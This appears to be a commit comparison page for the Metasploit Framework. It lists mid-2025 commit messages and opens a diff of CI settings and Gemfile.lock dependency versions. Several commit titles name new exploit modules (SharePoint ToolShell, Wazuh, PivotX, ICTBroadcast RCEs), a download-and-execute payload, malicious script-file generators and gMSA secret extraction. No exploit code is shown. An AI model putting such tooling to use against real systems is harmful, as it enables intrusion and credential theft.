Compare commits

..

209 Commits

Author SHA1 Message Date
jenkins-metasploit b59fd1c61a automatic module_metadata_base.json update 2025-08-13 10:07:02 +00:00
Diego Ledda eb003f704d Merge pull request #20386 from xHector1337/payload/windows/x64/download_exec
Port payload/windows/download_exec to x64
2025-08-13 11:58:22 +02:00
jenkins-metasploit 7ca82b47fb automatic module_metadata_base.json update 2025-08-12 19:37:04 +00:00
jheysel-r7 8251d89e92 Merge pull request #20400 from msutovsky-r7/exploit/pivotx-rce
Adds module for PivotX RCE (CVE-2025-52367)
2025-08-12 12:28:28 -07:00
Jack Heysel 0273f1474f Added incorrect creds check 2025-08-12 10:42:46 -07:00
jenkins-metasploit 3e882a3767 automatic module_metadata_base.json update 2025-08-12 16:30:43 +00:00
jheysel-r7 e59a24823b Merge pull request #20387 from h00die-gr3y/wazuh-auth-rce
Wazuh Server authenticated RCE [CVE-2025-24016]
2025-08-12 09:22:22 -07:00
jheysel-r7 4200f51fdf Merge pull request #20445 from zeroSteiner/feat/lib/ldap-adds/2
Don't look up the local system SID
2025-08-12 07:59:10 -07:00
jenkins-metasploit e1407833c2 automatic module_metadata_base.json update 2025-08-12 10:34:11 +00:00
cgranleese-r7 ec7d47c271 Merge pull request #20461 from adfoster-r7/improve-login-summary-for-ldap-scanner
Improve login summary for ldap schannel scanner
2025-08-12 11:25:50 +01:00
Diego Ledda 3122426ebe Update modules/payloads/singles/windows/x64/download_exec.rb
update cache size
2025-08-12 11:39:44 +02:00
Umut abe932cdee Update payloads_spec.rb 2025-08-12 12:34:47 +03:00
Diego Ledda b6d9172d5b chore(rubocop): remove extra white-space 2025-08-12 11:05:21 +02:00
dwelch-r7 9dee394cab Merge pull request #20463 from adfoster-r7/update-display-module-action-wording
Update display module action wording
2025-08-11 17:50:09 +01:00
dwelch-r7 003870e295 Merge pull request #20462 from adfoster-r7/fix-error-in-kerberos-authenticator
Fix logging error in kerberos authenticator
2025-08-11 17:49:31 +01:00
adfoster-r7 7c3ba83dd4 Update display module action wording 2025-08-11 17:02:35 +01:00
adfoster-r7 332a55cb4f Fix error in kerberos authenticator 2025-08-11 16:48:37 +01:00
adfoster-r7 a1630c0b81 Improve login summary for ldap schannel scanner 2025-08-11 16:47:02 +01:00
jenkins-metasploit 3817ed2e70 automatic module_metadata_base.json update 2025-08-11 15:02:00 +00:00
adfoster-r7 2734daec0f Merge pull request #20459 from adfoster-r7/consolidate-pkcs12-cert-file-reads
Consolidate pkcs12 cert file reads
2025-08-11 15:53:38 +01:00
adfoster-r7 ced20bf15a Consolidate pkcs12 cert file reads 2025-08-11 14:28:47 +01:00
cgranleese-r7 d25fd0825c Merge pull request #20458 from adfoster-r7/fix-rendering-issue-on-kerberos-docs
Fix rendering issue on kerberos docs
2025-08-11 13:10:59 +01:00
Umut af0fe9e5cc run rubocop -A 2025-08-11 14:22:28 +03:00
adfoster-r7 093d9f9a99 Fix rendering issue on kerberos docs 2025-08-11 12:13:53 +01:00
msutovsky-r7 b23775124b Land #20451, adds support for lwp-request GET fetch adapter
Msf::Payload::Adapter::Fetch: Add lwp-request GET fetch adapter
2025-08-11 12:54:41 +02:00
Metasploit b8dad8d85f Bump version of framework to 6.4.80 2025-08-08 10:16:11 -05:00
jenkins-metasploit 5e6d442860 automatic module_metadata_base.json update 2025-08-07 13:46:28 +00:00
msutovsky-r7 e8b441a5d3 Land #20012, MeterpreterOptions break-up and default extension loading removal
MeterpreterOptions break-up and default extension loading removal
2025-08-07 15:28:56 +02:00
jenkins-metasploit 6a26428029 automatic module_metadata_base.json update 2025-08-07 06:46:55 +00:00
msutovsky-r7 9caa2be9a2 Land #20399, adds module for Pandora ITSM authenticated RCE (CVE-2025-4653)
Pandora ITSM auth RCE [CVE-2025-4653]
2025-08-07 08:37:45 +02:00
jenkins-metasploit 41698afa32 automatic module_metadata_base.json update 2025-08-06 19:33:05 +00:00
Brendan b6dc0860e7 Merge pull request #20409 from sfewer-r7/sharepoint-hax
Exploit module for Microsoft SharePoint ToolPane Unauthenticated RCE (CVE-2025-53770 and CVE-2025-53771)
2025-08-06 14:24:28 -05:00
sfewer-r7 0a923a611d reword the language around our usage of CVE-2025-53770 to make it clear that this module is leveraging the authentication bypass for both CVE-2025-49706 and CVE-2025-53771, and the unsafe deserialization for CVE-2025-49704. 2025-08-06 15:33:57 +01:00
adfoster-r7 00ea22600c Merge pull request #20454 from adfoster-r7/fix-show-options-crash
Fix show options crash
2025-08-06 11:50:09 +01:00
adfoster-r7 c5e342d874 Fix show options crash 2025-08-06 10:26:56 +01:00
h00die-gr3y 70f2cbe055 simplified cleaning procedure 2025-08-06 08:22:06 +00:00
Brendan 2553fed202 Merge pull request #20438 from msutovsky-r7/fix/lib/chmod_in_compile
Fixes incorrect path parameter for `chmod` in `upload_and_compile`
2025-08-05 15:12:46 -05:00
cgranleese-r7 f8acc93fdd Merge pull request #20452 from adfoster-r7/update-download-versions
Update download versions
2025-08-05 17:41:40 +01:00
adfoster-r7 9a9028e93d Update download versions 2025-08-05 17:06:21 +01:00
jenkins-metasploit 74c10a4d4b automatic module_metadata_base.json update 2025-08-05 13:48:03 +00:00
msutovsky-r7 8914520139 Land #20418, adds auto selection feature for password crackers
Adds auto selection of cracker for password crackers
2025-08-05 15:39:50 +02:00
Spencer McIntyre 6f97dbe239 Merge pull request #20372 from cgranleese-r7/add-cache-validation-logic
Adds cache invalidation logic
2025-08-05 09:36:27 -04:00
bcoles d0f0b3532f Msf::Payload::Adapter::Fetch: Add lwp-request GET fetch adapter 2025-08-05 22:54:09 +10:00
cgranleese-r7 604fc95bc6 Moves checksum to top level of file cache 2025-08-05 11:40:20 +01:00
cgranleese-r7 aab4142068 Updates to only use local store dir 2025-08-05 11:39:18 +01:00
cgranleese-r7 e9941fd91f Adds cache invalidation logic 2025-08-05 11:39:18 +01:00
jenkins-metasploit 31b9dcdeb2 automatic module_metadata_base.json update 2025-08-05 07:39:11 +00:00
msutovsky-r7 c99702c8bf Land #20446, adds module for ICTBroadcast Unauthenticated RCE (CVE-2025-2611)
Add ICTBroadcast Unauthenticated Remote Code Execution (CVE-2025-2611)
2025-08-05 09:29:36 +02:00
Spencer McIntyre 26bf49a024 Merge pull request #20431 from Wopseeion/problem-fi
Fix NoMethodError in kerberos/get_ticket by properly decoding ASN.1 OctetString in certificate SAN parsing for ticket reuqest --> "#20427"
2025-08-04 18:12:05 -04:00
Tanush-Jain becdda1591 added fixed pkinit file 2025-08-04 17:51:36 -04:00
jenkins-metasploit cf92cbb3d8 automatic module_metadata_base.json update 2025-08-04 21:36:56 +00:00
Spencer McIntyre 30c32d2643 Merge pull request #20450 from dledda-r7/chore/bump-metasploit_payloads-mettle-1_0_45
Bump metasploit_payloads-mettle gem to 1.0.45
2025-08-04 17:28:14 -04:00
Hakil c4a2189614 removed blank line as requested
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 19:29:25 +02:00
Hakil f691d81899 prefer john over hashcat for more compatibility
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 19:27:54 +02:00
Chocapikk 6ff04da954 Add LPE suggestions in documentation 2025-08-04 18:33:28 +02:00
Chocapikk a81884fb9e Update metadata 2025-08-04 17:53:29 +02:00
Chocapikk 7d744c2a45 Update documentation 2025-08-04 17:51:42 +02:00
Chocapikk 2c9053c45e Refactor fingerprint detection, cookie handling and per-cookie injection
- Centralize JS fingerprint checks in `check`
- Memoize `get_valid_cookies` correctly and reuse a single `cookie_jar`
- Update `inject_command` to test payload on each cookie separately
2025-08-04 17:49:34 +02:00
Valentin Lobstein 26099da7a2 Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:03:04 +02:00
Valentin Lobstein 46b3012cda Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:02:47 +02:00
Valentin Lobstein a6d86fbe59 Update modules/exploits/linux/http/ictbroadcast_unauth_cookie.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:02:35 +02:00
Valentin Lobstein c8f756dd37 Update documentation/modules/exploit/linux/http/ictbroadcast_unauth_cookie.md
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 17:02:12 +02:00
dledda-r7 6d60db195b feat: bump metasploit_payloads-mettle gem to 1.0.45 2025-08-04 10:14:38 -04:00
adfoster-r7 a5b7c9859d Merge pull request #20448 from cgranleese-r7/bump-rex-powershell-and-rex-random-identifier
Bumps rex-powershell and rex-random_identifier gems
2025-08-04 14:55:16 +01:00
Diego Ledda 8985cd773d Update lib/msf/base/sessions/meterpreter_options/osx.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:59:20 +02:00
Diego Ledda 25e053804e Update lib/msf/base/sessions/meterpreter_options/php.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:59:09 +02:00
Diego Ledda ee05f88770 Update lib/msf/base/sessions/meterpreter_options/python.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:59:01 +02:00
Diego Ledda 56fc33f7f2 Update lib/msf/base/sessions/meterpreter_options/windows.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:58:50 +02:00
Diego Ledda d45193b7ac Update lib/msf/base/sessions/meterpreter_options/java.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:58:25 +02:00
Diego Ledda fa68bd8353 Update lib/msf/base/sessions/meterpreter_options/bsd.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:58:16 +02:00
Diego Ledda 2fac43c3ed Update lib/msf/base/sessions/meterpreter_options/apple_ios.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:57:59 +02:00
Diego Ledda 9e10d243b9 Update lib/msf/base/sessions/meterpreter_options/android.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:57:49 +02:00
Diego Ledda ef6e59dcc3 Update lib/msf/base/sessions/meterpreter_options/linux.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 14:57:40 +02:00
cgranleese-r7 02ff2ad000 Bumps rex-powershell and rex-random_identifier 2025-08-04 13:49:53 +01:00
dledda-r7 f18787e5c5 fix: addressing review comments 2025-08-04 08:35:23 -04:00
adfoster-r7 f7930a9977 Merge pull request #20444 from cgranleese-r7/adds-survey-banner-docs-site
Adds survey banner to the docs site
2025-08-04 12:20:01 +01:00
cgranleese-r7 5fe57c6804 Adds survey banner to the docs site 2025-08-04 12:19:22 +01:00
jenkins-metasploit 5dd2fef0a9 automatic module_metadata_base.json update 2025-08-04 09:57:20 +00:00
msutovsky-r7 5fd6184494 Land #20423, adds malicious XDG Desktop fileformat module
Add Malicious XDG Desktop File module
2025-08-04 11:44:02 +02:00
bcoles a7ab23d083 Add Malicious XDG Desktop File module 2025-08-04 19:23:02 +10:00
Diego Ledda da7ee9d9f8 Update modules/payloads/stages/php/meterpreter.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-08-04 11:19:57 +02:00
Chocapikk 50ef5edd90 Add Unauthenticated ICTBroadcast Remote Code Execution (CVE-2025-2611) 2025-08-02 19:46:14 +02:00
Hakil 3e47e4a08b Fixed "]}" -> "}]" 2025-08-02 14:18:28 +02:00
Spencer McIntyre 90b60c78ac Don't look up the local system SID 2025-08-01 17:37:29 -04:00
cgranleese-r7 4c94f9f94b Merge pull request #20443 from rapid7/revert-20435-adds-survey-banner-to-docs-site
Revert "Adds survey banner to the docs site"
2025-08-01 14:37:59 +01:00
adfoster-r7 8b4ea900cc Revert "Adds survey banner to the docs site" 2025-08-01 14:37:15 +01:00
msutovsky-r7 7d82ecb6b0 Land #20435, adds survey banner to the docs site
Adds survey banner to the docs site
2025-08-01 15:16:15 +02:00
jenkins-metasploit 480a81dddb automatic module_metadata_base.json update 2025-08-01 11:54:03 +00:00
Martin Sutovsky cb615899ee Updates specs 2025-08-01 13:51:25 +02:00
msutovsky-r7 63cd2cb93a Land #20437, fixes variable initialization in auxiliary/dos/http/apache_range_dos
Fixes variable initialization in auxiliary/dos/http/apache_range_dos
2025-08-01 13:45:39 +02:00
Martin Sutovsky 1c14a9756a Creates executable_path, uses that in chmod instead of path variable 2025-08-01 12:52:58 +02:00
Desiree05 8d3a35f332 Fixing issue #20436
The module did not initialize the variable uri
2025-08-01 10:48:54 +01:00
cgranleese-r7 53e2d138e8 Adds survey banner to the docs site 2025-08-01 10:31:31 +01:00
msutovsky-r7 8130316de9 Removes unnecessary new line
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2025-08-01 10:02:46 +02:00
Martin Sutovsky c9e0c7171b Adds cleanup method 2025-08-01 10:01:50 +02:00
Martin Sutovsky 744188fb88 Updates docs 2025-08-01 09:40:08 +02:00
Martin Sutovsky 2328b40df7 Unifies parenthesis in fail_with calling, whitespaces fixes, changing CheckCode::Unknown to CheckCode::Detected 2025-08-01 09:34:47 +02:00
adfoster-r7 569387c470 Merge pull request #20432 from cgranleese-r7/fixes-exploit-uuid-sessions-job-correlation
Fixes RPC `exploit_uuid` correlation for jobs and sessions
2025-07-31 16:59:49 +01:00
jenkins-metasploit 96532bd1e7 automatic module_metadata_base.json update 2025-07-31 11:09:18 +00:00
dwelch-r7 540e8b91d0 Merge pull request #20433 from msutovsky-r7/module/fix/disclosure_date
Fixes disclosure date in exploit/linux/http/pandora_fms_auth_netflow_rce.rb
2025-07-31 12:01:01 +01:00
Martin Sutovsky d2175c372f Fixes disclosure date 2025-07-31 12:58:28 +02:00
cgranleese-r7 2cab34736c Fixes RPC exploit_uuid correlation for jobs and sessions 2025-07-31 09:41:32 +01:00
Metasploit e34397b8e5 Bump version of framework to 6.4.79 2025-07-31 03:33:24 -05:00
jenkins-metasploit 854a5bc01c automatic module_metadata_base.json update 2025-07-31 05:53:30 +00:00
msutovsky-r7 333b5278ac Land #20428, fixes available payload space in exploits/windows/misc/achat_bof
Fix achat_bof by increasing the available payload space
2025-07-31 07:42:32 +02:00
jenkins-metasploit 53c3396821 automatic module_metadata_base.json update 2025-07-30 22:45:10 +00:00
Spencer McIntyre 8bbfaac13c Merge pull request #20189 from jheysel-r7/feat/mod/esc9-esc10-exploit
Add Exploit Support for ESC9, ESC10 & ESC16
2025-07-30 18:36:59 -04:00
Jack Heysel ff724d0b5c Deregister SMBUser 2025-07-30 15:28:56 -07:00
jenkins-metasploit f766f49d6a automatic module_metadata_base.json update 2025-07-30 22:11:51 +00:00
Jack Heysel de15d1e449 Minor doc update 2025-07-30 15:08:14 -07:00
Jack Heysel e88883c82b ESC9, ESC10 ESC16 exploit support 2025-07-30 15:08:14 -07:00
Spencer McIntyre 84e2e6be69 Merge pull request #20149 from jheysel-r7/esc9_esc10_cert_finder_update
ESC9, ESC10 and ESC16 detection for ldap_esc_vulnerable_cert_finder
2025-07-30 18:03:14 -04:00
h00die-gr3y 3d0cfd0dfc update module + documentation based on review comments 2025-07-30 20:24:56 +00:00
Spencer McIntyre 3fb2477fbf Increase payload space 2025-07-30 16:13:19 -04:00
Jack Heysel 13df676863 Update validate method fix failed test 2025-07-30 12:13:33 -07:00
Jack Heysel a1c95e64ba Fixed unnecesary merge conflict additions 2025-07-30 11:59:51 -07:00
Jack Heysel 8179de6cea ESC9 ESC10 and ESC16 detection 2025-07-30 11:46:57 -07:00
Hakil 1161954677 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:11:06 +02:00
Hakil 18b611f199 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:10:49 +02:00
Hakil dc787b1947 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:10:31 +02:00
Hakil e44f54fda0 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:10:03 +02:00
Hakil 2a70b78316 correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:09:45 +02:00
Hakil 6ccc49523c correcting a double assignment: tbl = tbl = cracker_results_table 2025-07-30 14:09:13 +02:00
h00die-gr3y 4b52708357 update module + documentation based on review comments 2025-07-30 11:39:20 +00:00
Hakil 6c9f8ef8c9 Merge pull request #1 from msutovsky-r7/collab/feat/auto_cracker_selection
Suggests additional changes for PR
2025-07-30 11:55:14 +02:00
adfoster-r7 1361e91fa1 Merge pull request #20426 from adfoster-r7/update-multiple-dependencies
Update multiple dependencies
2025-07-30 10:28:54 +01:00
adfoster-r7 5fc5c6691e Update multiple dependencies 2025-07-30 10:11:30 +01:00
Martin Sutovsky 16a5fa2881 Fixing typos 2025-07-30 07:23:50 +02:00
Martin Sutovsky 96ba71b47f Removes incorrect comment 2025-07-30 07:11:35 +02:00
Martin Sutovsky d20494d47f Removes puts 2025-07-30 07:10:22 +02:00
Martin Sutovsky d3f6faa99d Adjust cracker modules 2025-07-29 17:07:03 +02:00
Martin Sutovsky cf243b5d5c Adds auto option support, updates crack_database.rb accordingly 2025-07-29 15:44:48 +02:00
Hakil f454954b0a requested change resolved, PR #20418 2025-07-29 14:22:02 +02:00
Hakil 9c03306100 requested change resolved, PR #20418 2025-07-29 14:21:46 +02:00
Hakil c38cc4444f Update crack_osx.rb 2025-07-29 14:21:20 +02:00
Hakil 99ac3691f6 requested change resolved, PR #20418 2025-07-29 14:21:00 +02:00
Hakil 424e4fbd48 Update crack_databases.rb 2025-07-29 14:20:34 +02:00
Hakil 87d7decdca requested change resolved, PR #20418 2025-07-29 14:20:09 +02:00
Hakil 4b4e7cc58b requested change resolved, PR #20418 2025-07-29 14:02:30 +02:00
jenkins-metasploit 552a791e37 automatic module_metadata_base.json update 2025-07-29 10:35:15 +00:00
msutovsky-r7 cb381ad542 Land #20421, adds more reliable check in get_nonce function for auxiliary/scanner/http/wp_ultimate_member_sorting_sqli
Fix `get_nonce` in `auxiliary/scanner/http/wp_ultimate_member_sorting_sqli`
2025-07-29 12:24:05 +02:00
Simon Janusz 0a531b48c5 Merge pull request #20422 from adfoster-r7/update-jsonrpc-dependencies
Update jsonrpc dependencies
2025-07-29 11:19:37 +01:00
Valentin Lobstein 541e8d6191 Update modules/auxiliary/scanner/http/wp_ultimate_member_sorting_sqli.rb
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
2025-07-29 11:36:48 +02:00
adfoster-r7 77f6110842 Update jsonrpc dependencies 2025-07-29 10:17:36 +01:00
Chocapikk e095c793c7 Fix get_nonce in auxiliary/scanner/http/wp_ultimate_member_sorting_sqli 2025-07-29 07:59:06 +02:00
Metasploit c2971d5307 Bump version of framework to 6.4.78 2025-07-28 10:22:00 -05:00
jenkins-metasploit 85aca3c380 automatic module_metadata_base.json update 2025-07-28 15:07:55 +00:00
adfoster-r7 eb8e7cec27 Merge pull request #20420 from dwelch-r7/rails-7.2-upgrade
Bump rails to 7.2
2025-07-28 15:59:31 +01:00
jenkins-metasploit e40da3a887 automatic module_metadata_base.json update 2025-07-28 12:08:06 +00:00
msutovsky-r7 f4622d802e Land #20406, adds malicious Windows Script Host VBScript fileformat module
Add Malicious Windows Script Host VBScript (.vbs) File module
2025-07-28 13:58:07 +02:00
msutovsky-r7 12340ef6b5 Land #20398, adds malicious Windows Script Host JScript fileformat module
Add Malicious Windows Script Host JScript (.js) File module
2025-07-28 13:51:26 +02:00
Dean Welch 0ce1617288 Bump rails to 7.2 2025-07-28 12:29:58 +01:00
adfoster-r7 5162a8d3b3 Merge pull request #20417 from fishBone000/typo
fix: Fix typo in reflective_pe_loader.rb
2025-07-27 18:02:04 +01:00
Hakil ecfdec9678 Fix issue #20396 2025-07-26 18:36:14 +02:00
Hakil d48419160b Fix issue #20396 2025-07-26 18:35:47 +02:00
Hakil 06c17a6e77 Update crack_webapps.rb 2025-07-26 18:35:21 +02:00
Hakil d88c4bde88 Fix issue #20396 2025-07-26 18:34:54 +02:00
Hakil 5aee8d5d42 Fix issue #20396 2025-07-26 18:34:12 +02:00
Hakil bd3ce5f20e Fix issue #20396 2025-07-26 18:33:20 +02:00
Hakil 56f138c4a1 Fix issue #20396 2025-07-26 18:31:43 +02:00
Hakil 7450d728c1 Fix issue #20396 2025-07-26 18:26:29 +02:00
fishBone000 64905f866e fix: Fix typo in reflective_pe_loader.rb
Fix strange typo that makes the file non-ASCII
2025-07-26 15:55:03 +00:00
sfewer-r7 3237151512 add in the documentation 2025-07-25 14:40:12 +01:00
Martin Sutovsky edfa84ed42 Uses Rex::MIME::Message instead of manual form-data 2025-07-25 14:24:42 +02:00
sfewer-r7 228a066521 add a reference to the Kaspersky analysis which covers all 4 CVEs 2025-07-25 12:26:55 +01:00
sfewer-r7 36fff14466 fix a comment typo 2025-07-25 11:04:18 +01:00
sfewer-r7 f16f7bf2ad add in reference to teh LeakIX blog, which shows CVE-2025-53771 2025-07-25 11:02:55 +01:00
sfewer-r7 ae95d3d4e8 add a comment to clarify what CVE-2025-53771 is 2025-07-25 11:02:08 +01:00
sfewer-r7 8df7f64e79 add some comments to clarify what CVE-2025-49704 is 2025-07-25 11:01:41 +01:00
sfewer-r7 6d9d9a70d4 add some comments to clarify what CVE-2025-49706 is 2025-07-25 11:01:22 +01:00
jenkins-metasploit 86d5d52838 automatic module_metadata_base.json update 2025-07-25 08:55:33 +00:00
msutovsky-r7 1fb76b1776 Land #20408, fixes arguments passing to redis_command function in auxiliary/scanner/redis/redis_server
Fix modules\auxiliary\scanner\redis\redis_server
2025-07-25 10:47:14 +02:00
bcoles cbc03eaeeb Add Malicious Windows Script Host VBScript (.vbs) File module 2025-07-25 18:46:47 +10:00
bcoles 44c61a7e4d Add Malicious Windows Script Host JScript (.js) File module 2025-07-25 18:43:33 +10:00
jenkins-metasploit fcff88b644 automatic module_metadata_base.json update 2025-07-24 21:58:39 +00:00
jheysel-r7 392f87dee2 Merge pull request #20401 from zeroSteiner/feat/mod/ldap/gmsa-secrets
Add gMSA Secret Extraction From LDAP
2025-07-24 14:50:24 -07:00
Metasploit 679c74f145 Bump version of framework to 6.4.77 2025-07-24 09:38:58 -05:00
laptop e4686fe129 deleted the spaces in EOF 2025-07-24 19:23:44 +08:00
sfewer-r7 a81710486e add in a reference to the new technical analysis from the origional finder 2025-07-24 12:15:24 +01:00
Martin Sutovsky 54c86cfc10 Addressing comments 2025-07-24 12:19:47 +02:00
Stephen Fewer 899e275155 Make the double quotes optional, reports of Server 2016 not using these, but Server 2019 is. Thanks @w0rk3r for the bug report and fix.
Co-authored-by: Jonhnathan <26856693+w0rk3r@users.noreply.github.com>
2025-07-23 23:51:42 +01:00
sfewer-r7 b8cf458706 the check routine was getting the /_layouts/15/error.aspx page, this will not be accessable unless Forms Based Authentication (FBA) is enabled on the site. A better choice is /_layouts/15/start.aspx as this is accessible regardless of FBA being enabled. Thanks @alexey-at-work-bc for identifying this and sugesting a fix. 2025-07-23 23:03:43 +01:00
sfewer-r7 7838e06f4f reimplement the gadget chain using the Metasploit Msf::Util::DotNetDeserialization routines 2025-07-23 17:36:56 +01:00
sfewer-r7 d2a1f7bae9 add in exploit for CVE-2025-53770 and CVE-2025-53771, Microsoft SharePoint Server ToolPane Unauthenticated Remote Code Execution (aka ToolShell) 2025-07-23 12:40:14 +01:00
laptop 9c1b7e94eb –fix(redis_server): Correctly parse multi-word Redis commands 2025-07-23 11:50:34 +08:00
Martin Sutovsky 75f6e6a748 Refactors code, adds description, fixes CVE 2025-07-22 16:24:35 +02:00
Martin Sutovsky ed5c13330f Module init 2025-07-21 12:41:38 +02:00
h00die-gr3y 58704e9eab init module + documentation 2025-07-20 19:06:01 +00:00
Spencer McIntyre 54c5cdaf61 Update the acceptance tests 2025-07-18 17:29:35 -04:00
Spencer McIntyre 714f667c0f Finish adding gMSA secret dumping 2025-07-18 17:10:35 -04:00
Spencer McIntyre 68a3f5624c Define empty NT and LM hash constants 2025-07-18 16:50:54 -04:00
Spencer McIntyre 8928362581 Support formatting passwords without the database 2025-07-18 16:50:33 -04:00
Spencer McIntyre 82610aec24 Initial commit of extracting gMSA secrets from LDAP 2025-07-18 10:59:15 -04:00
h00die-gr3y abbcdda694 update based on adfoster-r7 comments 2025-07-18 07:22:01 +00:00
Umut 708dcaf36e Delete unnecessary comments 2025-07-17 15:28:20 +03:00
Umut 90d15cbe61 finalize the payload
add CachedSize & fix the fifth arg problem & run rubocop
2025-07-17 11:39:44 +03:00
h00die-gr3y 7a9cd79170 small update on the documentation 2025-07-16 09:32:47 +00:00
h00die-gr3y 639315452c added attackerkb reference + documenttaion 2025-07-16 09:29:14 +00:00
Umut 0344591863 fix 5th arg for URLDownloadToFileA 2025-07-16 11:35:35 +03:00
h00die-gr3y f6e0c43ed9 init module 2025-07-15 19:06:00 +00:00
Umut a412070a12 Create download_exec.rb 2025-07-15 16:50:59 +03:00
dledda-r7 5e3e975b7d fix: renaming Osx to OSX for autoload support 2025-06-02 09:22:46 -04:00
dledda-r7 c4ca4d6999 fix: re-include OSX specific option 2025-06-02 08:14:59 -04:00
dledda-r7 70bafdfcd8 fix: delete of meterpreter_options.rb 2025-06-02 08:07:14 -04:00
dledda-r7 e4bc2a6528 fix: changed MeterpreterOptions to be platform-specific in pivot 2025-06-02 08:07:14 -04:00
dledda-r7 dd23be9695 fix: modified meterpreter_reverse template for platform-specific MeterpreterOptions 2025-06-02 08:07:13 -04:00
dledda-r7 e44043b88a fix: restored deleted comments 2025-06-02 08:07:13 -04:00
dledda-r7 a7f4da5431 feat: split platform-specific meterpreter options on different modules, adding AutoLoadExtensions option (AppleIos,Php,Python,Java,Osx,Android) 2025-06-02 08:07:06 -04:00
dledda-r7 44617cbe37 feat: split platform-specific meterpreter options on different modules, adding AutoLoadExtensions option (Windows, Linux) 2025-06-02 08:06:05 -04:00
191 changed files with 6952 additions and 1029 deletions
+1 -1
View File
@@ -38,7 +38,7 @@ jobs:
fail-fast: true
matrix:
ruby:
- '3.0'
- '3.3'
name: Ruby ${{ matrix.ruby }}
steps:
+96 -101
View File
@@ -1,12 +1,12 @@
PATH
remote: .
specs:
metasploit-framework (6.4.76)
metasploit-framework (6.4.80)
aarch64
abbrev
actionpack (~> 7.1.0)
activerecord (~> 7.1.0)
activesupport (~> 7.1.0)
actionpack (~> 7.2.0)
activerecord (~> 7.2.0)
activesupport (~> 7.2.0)
aws-sdk-ec2
aws-sdk-ec2instanceconnect
aws-sdk-iam
@@ -20,7 +20,6 @@ PATH
bootsnap
bson
chunky_png
concurrent-ruby (= 1.3.4)
csv
dnsruby
drb
@@ -48,7 +47,7 @@ PATH
metasploit-model
metasploit-payloads (= 2.0.221)
metasploit_data_models (>= 6.0.7)
metasploit_payloads-mettle (= 1.0.42)
metasploit_payloads-mettle (= 1.0.45)
mqtt
msgpack (~> 1.6.0)
mutex_m
@@ -71,7 +70,7 @@ PATH
pdf-reader
pg
puma
rack (~> 2.2)
rack
railties
rasn1 (= 0.14.0)
rb-readline
@@ -102,13 +101,13 @@ PATH
ruby_smb (~> 3.3.15)
rubyntlm
rubyzip
sinatra (~> 3.2)
sinatra
sqlite3 (= 1.7.3)
sshkey
stringio (= 3.1.1)
swagger-blocks
syslog
thin (~> 1.8)
thin
tzinfo
tzinfo-data
unix-crypt
@@ -127,83 +126,82 @@ GEM
aarch64 (2.1.0)
racc (~> 1.6)
abbrev (0.1.2)
actionpack (7.1.5.1)
actionview (= 7.1.5.1)
activesupport (= 7.1.5.1)
actionpack (7.2.2.1)
actionview (= 7.2.2.1)
activesupport (= 7.2.2.1)
nokogiri (>= 1.8.5)
racc
rack (>= 2.2.4)
rack (>= 2.2.4, < 3.2)
rack-session (>= 1.0.1)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.2)
rails-html-sanitizer (~> 1.6)
actionview (7.1.5.1)
activesupport (= 7.1.5.1)
useragent (~> 0.16)
actionview (7.2.2.1)
activesupport (= 7.2.2.1)
builder (~> 3.1)
erubi (~> 1.11)
rails-dom-testing (~> 2.2)
rails-html-sanitizer (~> 1.6)
activemodel (7.1.5.1)
activesupport (= 7.1.5.1)
activerecord (7.1.5.1)
activemodel (= 7.1.5.1)
activesupport (= 7.1.5.1)
activemodel (7.2.2.1)
activesupport (= 7.2.2.1)
activerecord (7.2.2.1)
activemodel (= 7.2.2.1)
activesupport (= 7.2.2.1)
timeout (>= 0.4.0)
activesupport (7.1.5.1)
activesupport (7.2.2.1)
base64
benchmark (>= 0.3)
bigdecimal
concurrent-ruby (~> 1.0, >= 1.0.2)
concurrent-ruby (~> 1.0, >= 1.3.1)
connection_pool (>= 2.2.5)
drb
i18n (>= 1.6, < 2)
logger (>= 1.4.2)
minitest (>= 5.1)
mutex_m
securerandom (>= 0.3)
tzinfo (~> 2.0)
tzinfo (~> 2.0, >= 2.0.5)
addressable (2.8.7)
public_suffix (>= 2.0.2, < 7.0)
afm (0.2.2)
allure-rspec (2.27.0)
allure-ruby-commons (= 2.27.0)
allure-rspec (2.26.0)
allure-ruby-commons (= 2.26.0)
rspec-core (>= 3.8, < 4)
allure-ruby-commons (2.27.0)
allure-ruby-commons (2.26.0)
mime-types (>= 3.3, < 4)
require_all (>= 2, < 4)
rspec-expectations (~> 3.12)
arel-helpers (2.16.0)
activerecord (>= 3.1.0, < 8.1)
ast (2.4.3)
aws-eventstream (1.4.0)
aws-partitions (1.1134.0)
aws-sdk-core (3.227.0)
aws-eventstream (1.3.2)
aws-partitions (1.1065.0)
aws-sdk-core (3.220.1)
aws-eventstream (~> 1, >= 1.3.0)
